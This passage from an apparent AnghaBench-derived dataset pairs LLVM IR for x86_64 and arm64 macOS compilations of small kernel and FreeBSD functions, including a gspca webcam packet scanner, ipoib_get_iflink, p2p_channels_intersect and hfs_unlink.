!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"long", !7, i64 0}
!11 = !{!12, !14, i64 16}
!12 = !{!"gspca_dev", !10, i64 0, !10, i64 8, !13, i64 16}
!13 = !{!"TYPE_4__", !14, i64 0}
!14 = !{!"any pointer", !7, i64 0}
!15 = !{!12, !10, i64 8}
!16 = !{!17, !6, i64 0}
!17 = !{!"TYPE_3__", !6, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/video/gspca/extr_sn9c20x.c_sd_pkt_scan.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/video/gspca/extr_sn9c20x.c_sd_pkt_scan.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@sd_pkt_scan.frame_header = internal global [6 x i32] [i32 255, i32 255, i32 0, i32 196, i32 196, i32 150], align 4
@LAST_PACKET = common local_unnamed_addr global i64 0, align 8
@MODE_JPEG = common local_unnamed_addr global i32 0, align 4
@FIRST_PACKET = common local_unnamed_addr global i64 0, align 8
@JPEG_HDR_SZ = common local_unnamed_addr global i32 0, align 4
@INTER_PACKET = common local_unnamed_addr global i64 0, align 8
@llvm.used = appending global [1 x ptr] [ptr @sd_pkt_scan], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @sd_pkt_scan(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = icmp eq i32 %2, 64
br i1 %4, label %5, label %106
5: ; preds = %3
%6 = tail call i64 @memcmp(ptr noundef %1, ptr noundef nonnull @sd_pkt_scan.frame_header, i32 noundef 6) #2
%7 = icmp eq i64 %6, 0
br i1 %7, label %8, label %106
8: ; preds = %5
%9 = getelementptr inbounds i8, ptr %1, i64 140
%10 = load i32, ptr %9, align 4, !tbaa !6
%11 = lshr i32 %10, 2
%12 = and i32 %11, 3
%13 = getelementptr inbounds i8, ptr %1, i64 80
%14 = load i32, ptr %13, align 4, !tbaa !6
%15 = shl i32 %14, 2
%16 = or disjoint i32 %12, %15
%17 = getelementptr inbounds i8, ptr %1, i64 76
%18 = load i32, ptr %17, align 4, !tbaa !6
%19 = shl i32 %18, 10
%20 = or i32 %16, %19
%21 = lshr i32 %10, 4
%22 = and i32 %21, 3
%23 = getelementptr inbounds i8, ptr %1, i64 88
%24 = load i32, ptr %23, align 4, !tbaa !6
%25 = shl i32 %24, 2
%26 = or disjoint i32 %25, %22
%27 = getelementptr inbounds i8, ptr %1, i64 84
%28 = load i32, ptr %27, align 4, !tbaa !6
%29 = shl i32 %28, 10
%30 = or i32 %26, %29
%31 = add nsw i32 %30, %20
%32 = lshr i32 %10, 6
%33 = and i32 %32, 3
%34 = getelementptr inbounds i8, ptr %1, i64 96
%35 = load i32, ptr %34, align 4, !tbaa !6
%36 = shl i32 %35, 2
%37 = or disjoint i32 %36, %33
%38 = getelementptr inbounds i8, ptr %1, i64 92
%39 = load i32, ptr %38, align 4, !tbaa !6
%40 = shl i32 %39, 10
%41 = or i32 %37, %40
%42 = add nsw i32 %31, %41
%43 = getelementptr inbounds i8, ptr %1, i64 144
%44 = load i32, ptr %43, align 4, !tbaa !6
%45 = and i32 %44, 3
%46 = getelementptr inbounds i8, ptr %1, i64 104
%47 = load i32, ptr %46, align 4, !tbaa !6
%48 = shl i32 %47, 2
%49 = or disjoint i32 %48, %45
%50 = getelementptr inbounds i8, ptr %1, i64 100
%51 = load i32, ptr %50, align 4, !tbaa !6
%52 = shl i32 %51, 10
%53 = or i32 %49, %52
%54 = add nsw i32 %42, %53
%55 = lshr i32 %44, 2
%56 = and i32 %55, 3
%57 = getelementptr inbounds i8, ptr %1, i64 112
%58 = load i32, ptr %57, align 4, !tbaa !6
%59 = shl i32 %58, 2
%60 = or disjoint i32 %59, %56
%61 = getelementptr inbounds i8, ptr %1, i64 108
%62 = load i32, ptr %61, align 4, !tbaa !6
%63 = shl i32 %62, 10
%64 = or i32 %60, %63
%65 = add nsw i32 %54, %64
%66 = lshr i32 %44, 4
%67 = and i32 %66, 3
%68 = getelementptr inbounds i8, ptr %1, i64 120
%69 = load i32, ptr %68, align 4, !tbaa !6
%70 = shl i32 %69, 2
%71 = or disjoint i32 %70, %67
%72 = getelementptr inbounds i8, ptr %1, i64 116
%73 = load i32, ptr %72, align 4, !tbaa !6
%74 = shl i32 %73, 10
%75 = or i32 %71, %74
%76 = add nsw i32 %65, %75
%77 = lshr i32 %44, 6
%78 = and i32 %77, 3
%79 = getelementptr inbounds i8, ptr %1, i64 128
%80 = load i32, ptr %79, align 4, !tbaa !6
%81 = shl i32 %80, 2
%82 = or disjoint i32 %81, %78
%83 = getelementptr inbounds i8, ptr %1, i64 124
%84 = load i32, ptr %83, align 4, !tbaa !6
%85 = shl i32 %84, 10
%86 = or i32 %82, %85
%87 = add nsw i32 %76, %86
%88 = getelementptr inbounds i8, ptr %1, i64 176
%89 = load i32, ptr %88, align 4, !tbaa !6
%90 = lshr i32 %89, 4
%91 = and i32 %90, 3
%92 = getelementptr inbounds i8, ptr %1, i64 136
%93 = load i32, ptr %92, align 4, !tbaa !6
%94 = shl i32 %93, 2
%95 = or disjoint i32 %91, %94
%96 = getelementptr inbounds i8, ptr %1, i64 132
%97 = load i32, ptr %96, align 4, !tbaa !6
%98 = shl i32 %97, 10
%99 = or i32 %95, %98
%100 = add nsw i32 %87, %99
%101 = ashr i32 %100, 9
%102 = getelementptr inbounds i8, ptr %0, i64 8
%103 = tail call i32 @atomic_set(ptr noundef nonnull %102, i32 noundef %101) #2
%104 = load i64, ptr @LAST_PACKET, align 8, !tbaa !10
%105 = tail call i32 @gspca_frame_add(ptr noundef %0, i64 noundef %104, ptr noundef null, i32 noundef 0) #2
br label %134
106: ; preds = %5, %3
%107 = load i64, ptr %0, align 8
%108 = load i64, ptr @LAST_PACKET, align 8, !tbaa !10
%109 = icmp eq i64 %107, %108
%110 = inttoptr i64 %107 to ptr
br i1 %109, label %111, label %131
111: ; preds = %106
%112 = getelementptr inbounds i8, ptr %0, i64 16
%113 = load ptr, ptr %112, align 8, !tbaa !12
%114 = getelementptr inbounds i8, ptr %0, i64 8
%115 = load i64, ptr %114, align 8, !tbaa !16
%116 = shl i64 %115, 32
%117 = ashr exact i64 %116, 30
%118 = getelementptr inbounds i8, ptr %113, i64 %117
%119 = load i32, ptr %118, align 4, !tbaa !17
%120 = load i32, ptr @MODE_JPEG, align 4, !tbaa !6
%121 = and i32 %120, %119
%122 = icmp eq i32 %121, 0
%123 = load i64, ptr @FIRST_PACKET, align 8, !tbaa !10
br i1 %122, label %129, label %124
124: ; preds = %111
%125 = load i32, ptr @JPEG_HDR_SZ, align 4, !tbaa !6
%126 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %123, ptr noundef %110, i32 noundef %125) #2
%127 = load i64, ptr @INTER_PACKET, align 8, !tbaa !10
%128 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %127, ptr noundef %1, i32 noundef %2) #2
br label %134
129: ; preds = %111
%130 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %123, ptr noundef %1, i32 noundef %2) #2
br label %134
131: ; preds = %106
%132 = load i64, ptr @INTER_PACKET, align 8, !tbaa !10
%133 = tail call i32 @gspca_frame_add(ptr noundef nonnull %0, i64 noundef %132, ptr noundef %1, i32 noundef %2) #2
br label %134
134: ; preds = %131, %129, %124, %8
ret void
}
declare i64 @memcmp(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @atomic_set(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @gspca_frame_add(ptr noundef, i64 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"long", !8, i64 0}
!12 = !{!13, !15, i64 16}
!13 = !{!"gspca_dev", !11, i64 0, !11, i64 8, !14, i64 16}
!14 = !{!"TYPE_4__", !15, i64 0}
!15 = !{!"any pointer", !8, i64 0}
!16 = !{!13, !11, i64 8}
!17 = !{!18, !7, i64 0}
!18 = !{!"TYPE_3__", !7, i64 0}
| fastsocket_kernel_drivers_media_video_gspca_extr_sn9c20x.c_sd_pkt_scan |
; ModuleID = 'AnghaBench/linux/drivers/infiniband/ulp/ipoib/extr_ipoib_main.c_ipoib_get_iflink.c'
source_filename = "AnghaBench/linux/drivers/infiniband/ulp/ipoib/extr_ipoib_main.c_ipoib_get_iflink.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.ipoib_dev_priv = type { ptr, i32 }
@IPOIB_FLAG_SUBINTERFACE = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @ipoib_get_iflink], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @ipoib_get_iflink(ptr noundef %0) #0 {
%2 = tail call ptr @ipoib_priv(ptr noundef %0) #2
%3 = load i32, ptr @IPOIB_FLAG_SUBINTERFACE, align 4, !tbaa !5
%4 = getelementptr inbounds %struct.ipoib_dev_priv, ptr %2, i64 0, i32 1
%5 = tail call i32 @test_bit(i32 noundef %3, ptr noundef nonnull %4) #2
%6 = icmp eq i32 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %1
%8 = load ptr, ptr %2, align 8, !tbaa !9
br label %9
9: ; preds = %1, %7
%10 = phi ptr [ %8, %7 ], [ %0, %1 ]
%11 = load i32, ptr %10, align 4, !tbaa !5
ret i32 %11
}
declare ptr @ipoib_priv(ptr noundef) local_unnamed_addr #1
declare i32 @test_bit(i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !11, i64 0}
!10 = !{!"ipoib_dev_priv", !11, i64 0, !6, i64 8}
!11 = !{!"any pointer", !7, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/infiniband/ulp/ipoib/extr_ipoib_main.c_ipoib_get_iflink.c'
source_filename = "AnghaBench/linux/drivers/infiniband/ulp/ipoib/extr_ipoib_main.c_ipoib_get_iflink.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@IPOIB_FLAG_SUBINTERFACE = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @ipoib_get_iflink], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @ipoib_get_iflink(ptr noundef %0) #0 {
%2 = tail call ptr @ipoib_priv(ptr noundef %0) #2
%3 = load i32, ptr @IPOIB_FLAG_SUBINTERFACE, align 4, !tbaa !6
%4 = getelementptr inbounds i8, ptr %2, i64 8
%5 = tail call i32 @test_bit(i32 noundef %3, ptr noundef nonnull %4) #2
%6 = icmp eq i32 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %1
%8 = load ptr, ptr %2, align 8, !tbaa !10
br label %9
9: ; preds = %1, %7
%10 = phi ptr [ %8, %7 ], [ %0, %1 ]
%11 = load i32, ptr %10, align 4, !tbaa !6
ret i32 %11
}
declare ptr @ipoib_priv(ptr noundef) local_unnamed_addr #1
declare i32 @test_bit(i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !12, i64 0}
!11 = !{!"ipoib_dev_priv", !12, i64 0, !7, i64 8}
!12 = !{!"any pointer", !8, i64 0}
| linux_drivers_infiniband_ulp_ipoib_extr_ipoib_main.c_ipoib_get_iflink |
; ModuleID = 'AnghaBench/freebsd/contrib/wpa/src/p2p/extr_p2p_utils.c_p2p_channels_intersect.c'
source_filename = "AnghaBench/freebsd/contrib/wpa/src/p2p/extr_p2p_utils.c_p2p_channels_intersect.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.p2p_channels = type { i64, ptr }
%struct.p2p_reg_class = type { i64, i64 }
@P2P_MAX_REG_CLASSES = dso_local local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind uwtable
define dso_local void @p2p_channels_intersect(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = tail call i32 @os_memset(ptr noundef %2, i32 noundef 0, i32 noundef 16) #2
%5 = load i64, ptr %0, align 8, !tbaa !5
%6 = icmp eq i64 %5, 0
br i1 %6, label %51, label %7
7: ; preds = %3
%8 = getelementptr inbounds %struct.p2p_channels, ptr %0, i64 0, i32 1
%9 = getelementptr inbounds %struct.p2p_channels, ptr %1, i64 0, i32 1
%10 = getelementptr inbounds %struct.p2p_channels, ptr %2, i64 0, i32 1
%11 = load i64, ptr %1, align 8, !tbaa !5
br label %12
12: ; preds = %7, %46
%13 = phi i64 [ %5, %7 ], [ %47, %46 ]
%14 = phi i64 [ %11, %7 ], [ %48, %46 ]
%15 = phi i64 [ 0, %7 ], [ %49, %46 ]
%16 = load ptr, ptr %8, align 8, !tbaa !11
%17 = getelementptr inbounds %struct.p2p_reg_class, ptr %16, i64 %15
%18 = icmp eq i64 %14, 0
br i1 %18, label %46, label %19
19: ; preds = %12, %40
%20 = phi i64 [ %41, %40 ], [ 0, %12 ]
%21 = load ptr, ptr %9, align 8, !tbaa !11
%22 = getelementptr inbounds %struct.p2p_reg_class, ptr %21, i64 %20
%23 = load i64, ptr %17, align 8, !tbaa !12
%24 = load i64, ptr %22, align 8, !tbaa !12
%25 = icmp eq i64 %23, %24
br i1 %25, label %26, label %40
26: ; preds = %19
%27 = load ptr, ptr %10, align 8, !tbaa !11
%28 = load i64, ptr %2, align 8, !tbaa !5
%29 = getelementptr inbounds %struct.p2p_reg_class, ptr %27, i64 %28
%30 = tail call i32 @p2p_reg_class_intersect(ptr noundef nonnull %17, ptr noundef nonnull %22, ptr noundef %29) #2
%31 = load ptr, ptr %10, align 8, !tbaa !11
%32 = load i64, ptr %2, align 8, !tbaa !5
%33 = getelementptr inbounds %struct.p2p_reg_class, ptr %31, i64 %32, i32 1
%34 = load i64, ptr %33, align 8, !tbaa !14
%35 = icmp eq i64 %34, 0
br i1 %35, label %40, label %36
36: ; preds = %26
%37 = add i64 %32, 1
store i64 %37, ptr %2, align 8, !tbaa !5
%38 = load i64, ptr @P2P_MAX_REG_CLASSES, align 8, !tbaa !15
%39 = icmp eq i64 %37, %38
br i1 %39, label %51, label %40
40: ; preds = %26, %36, %19
%41 = add nuw i64 %20, 1
%42 = load i64, ptr %1, align 8, !tbaa !5
%43 = icmp ult i64 %41, %42
br i1 %43, label %19, label %44, !llvm.loop !16
44: ; preds = %40
%45 = load i64, ptr %0, align 8, !tbaa !5
br label %46
46: ; preds = %44, %12
%47 = phi i64 [ %45, %44 ], [ %13, %12 ]
%48 = phi i64 [ %42, %44 ], [ 0, %12 ]
%49 = add nuw i64 %15, 1
%50 = icmp ult i64 %49, %47
br i1 %50, label %12, label %51, !llvm.loop !18
51: ; preds = %46, %36, %3
ret void
}
declare i32 @os_memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @p2p_reg_class_intersect(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"p2p_channels", !7, i64 0, !10, i64 8}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!6, !10, i64 8}
!12 = !{!13, !7, i64 0}
!13 = !{!"p2p_reg_class", !7, i64 0, !7, i64 8}
!14 = !{!13, !7, i64 8}
!15 = !{!7, !7, i64 0}
!16 = distinct !{!16, !17}
!17 = !{!"llvm.loop.mustprogress"}
!18 = distinct !{!18, !17}
| ; ModuleID = 'AnghaBench/freebsd/contrib/wpa/src/p2p/extr_p2p_utils.c_p2p_channels_intersect.c'
source_filename = "AnghaBench/freebsd/contrib/wpa/src/p2p/extr_p2p_utils.c_p2p_channels_intersect.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.p2p_reg_class = type { i64, i64 }
@P2P_MAX_REG_CLASSES = common local_unnamed_addr global i64 0, align 8
; Function Attrs: nounwind ssp uwtable(sync)
define void @p2p_channels_intersect(ptr nocapture noundef readonly %0, ptr nocapture noundef readonly %1, ptr noundef %2) local_unnamed_addr #0 {
%4 = tail call i32 @os_memset(ptr noundef %2, i32 noundef 0, i32 noundef 16) #2
%5 = load i64, ptr %0, align 8, !tbaa !6
%6 = icmp eq i64 %5, 0
br i1 %6, label %51, label %7
7: ; preds = %3
%8 = getelementptr inbounds i8, ptr %0, i64 8
%9 = getelementptr inbounds i8, ptr %1, i64 8
%10 = getelementptr inbounds i8, ptr %2, i64 8
%11 = load i64, ptr %1, align 8, !tbaa !6
br label %12
12: ; preds = %7, %46
%13 = phi i64 [ %5, %7 ], [ %47, %46 ]
%14 = phi i64 [ %11, %7 ], [ %48, %46 ]
%15 = phi i64 [ 0, %7 ], [ %49, %46 ]
%16 = load ptr, ptr %8, align 8, !tbaa !12
%17 = getelementptr inbounds %struct.p2p_reg_class, ptr %16, i64 %15
%18 = icmp eq i64 %14, 0
br i1 %18, label %46, label %19
19: ; preds = %12, %40
%20 = phi i64 [ %41, %40 ], [ 0, %12 ]
%21 = load ptr, ptr %9, align 8, !tbaa !12
%22 = getelementptr inbounds %struct.p2p_reg_class, ptr %21, i64 %20
%23 = load i64, ptr %17, align 8, !tbaa !13
%24 = load i64, ptr %22, align 8, !tbaa !13
%25 = icmp eq i64 %23, %24
br i1 %25, label %26, label %40
26: ; preds = %19
%27 = load ptr, ptr %10, align 8, !tbaa !12
%28 = load i64, ptr %2, align 8, !tbaa !6
%29 = getelementptr inbounds %struct.p2p_reg_class, ptr %27, i64 %28
%30 = tail call i32 @p2p_reg_class_intersect(ptr noundef nonnull %17, ptr noundef nonnull %22, ptr noundef %29) #2
%31 = load ptr, ptr %10, align 8, !tbaa !12
%32 = load i64, ptr %2, align 8, !tbaa !6
%33 = getelementptr inbounds %struct.p2p_reg_class, ptr %31, i64 %32, i32 1
%34 = load i64, ptr %33, align 8, !tbaa !15
%35 = icmp eq i64 %34, 0
br i1 %35, label %40, label %36
36: ; preds = %26
%37 = add i64 %32, 1
store i64 %37, ptr %2, align 8, !tbaa !6
%38 = load i64, ptr @P2P_MAX_REG_CLASSES, align 8, !tbaa !16
%39 = icmp eq i64 %37, %38
br i1 %39, label %51, label %40
40: ; preds = %26, %36, %19
%41 = add nuw i64 %20, 1
%42 = load i64, ptr %1, align 8, !tbaa !6
%43 = icmp ult i64 %41, %42
br i1 %43, label %19, label %44, !llvm.loop !17
44: ; preds = %40
%45 = load i64, ptr %0, align 8, !tbaa !6
br label %46
46: ; preds = %44, %12
%47 = phi i64 [ %45, %44 ], [ %13, %12 ]
%48 = phi i64 [ %42, %44 ], [ 0, %12 ]
%49 = add nuw i64 %15, 1
%50 = icmp ult i64 %49, %47
br i1 %50, label %12, label %51, !llvm.loop !19
51: ; preds = %46, %36, %3
ret void
}
declare i32 @os_memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @p2p_reg_class_intersect(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"p2p_channels", !8, i64 0, !11, i64 8}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!7, !11, i64 8}
!13 = !{!14, !8, i64 0}
!14 = !{!"p2p_reg_class", !8, i64 0, !8, i64 8}
!15 = !{!14, !8, i64 8}
!16 = !{!8, !8, i64 0}
!17 = distinct !{!17, !18}
!18 = !{!"llvm.loop.mustprogress"}
!19 = distinct !{!19, !18}
| freebsd_contrib_wpa_src_p2p_extr_p2p_utils.c_p2p_channels_intersect |
; ModuleID = 'AnghaBench/fastsocket/kernel/fs/hfs/extr_dir.c_hfs_unlink.c'
source_filename = "AnghaBench/fastsocket/kernel/fs/hfs/extr_dir.c_hfs_unlink.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.dentry = type { i32, ptr }
%struct.inode = type { i32, i32 }
@CURRENT_TIME_SEC = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @hfs_unlink], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @hfs_unlink(ptr noundef %0, ptr noundef %1) #0 {
%3 = getelementptr inbounds %struct.dentry, ptr %1, i64 0, i32 1
%4 = load ptr, ptr %3, align 8, !tbaa !5
%5 = getelementptr inbounds %struct.inode, ptr %4, i64 0, i32 1
%6 = load i32, ptr %5, align 4, !tbaa !11
%7 = tail call i32 @hfs_cat_delete(i32 noundef %6, ptr noundef %0, ptr noundef %1) #2
%8 = icmp eq i32 %7, 0
br i1 %8, label %9, label %14
9: ; preds = %2
%10 = tail call i32 @drop_nlink(ptr noundef nonnull %4) #2
%11 = tail call i32 @hfs_delete_inode(ptr noundef nonnull %4) #2
%12 = load i32, ptr @CURRENT_TIME_SEC, align 4, !tbaa !13
store i32 %12, ptr %4, align 4, !tbaa !14
%13 = tail call i32 @mark_inode_dirty(ptr noundef nonnull %4) #2
br label %14
14: ; preds = %2, %9
ret i32 %7
}
declare i32 @hfs_cat_delete(i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @drop_nlink(ptr noundef) local_unnamed_addr #1
declare i32 @hfs_delete_inode(ptr noundef) local_unnamed_addr #1
declare i32 @mark_inode_dirty(ptr noundef) local_unnamed_addr #1
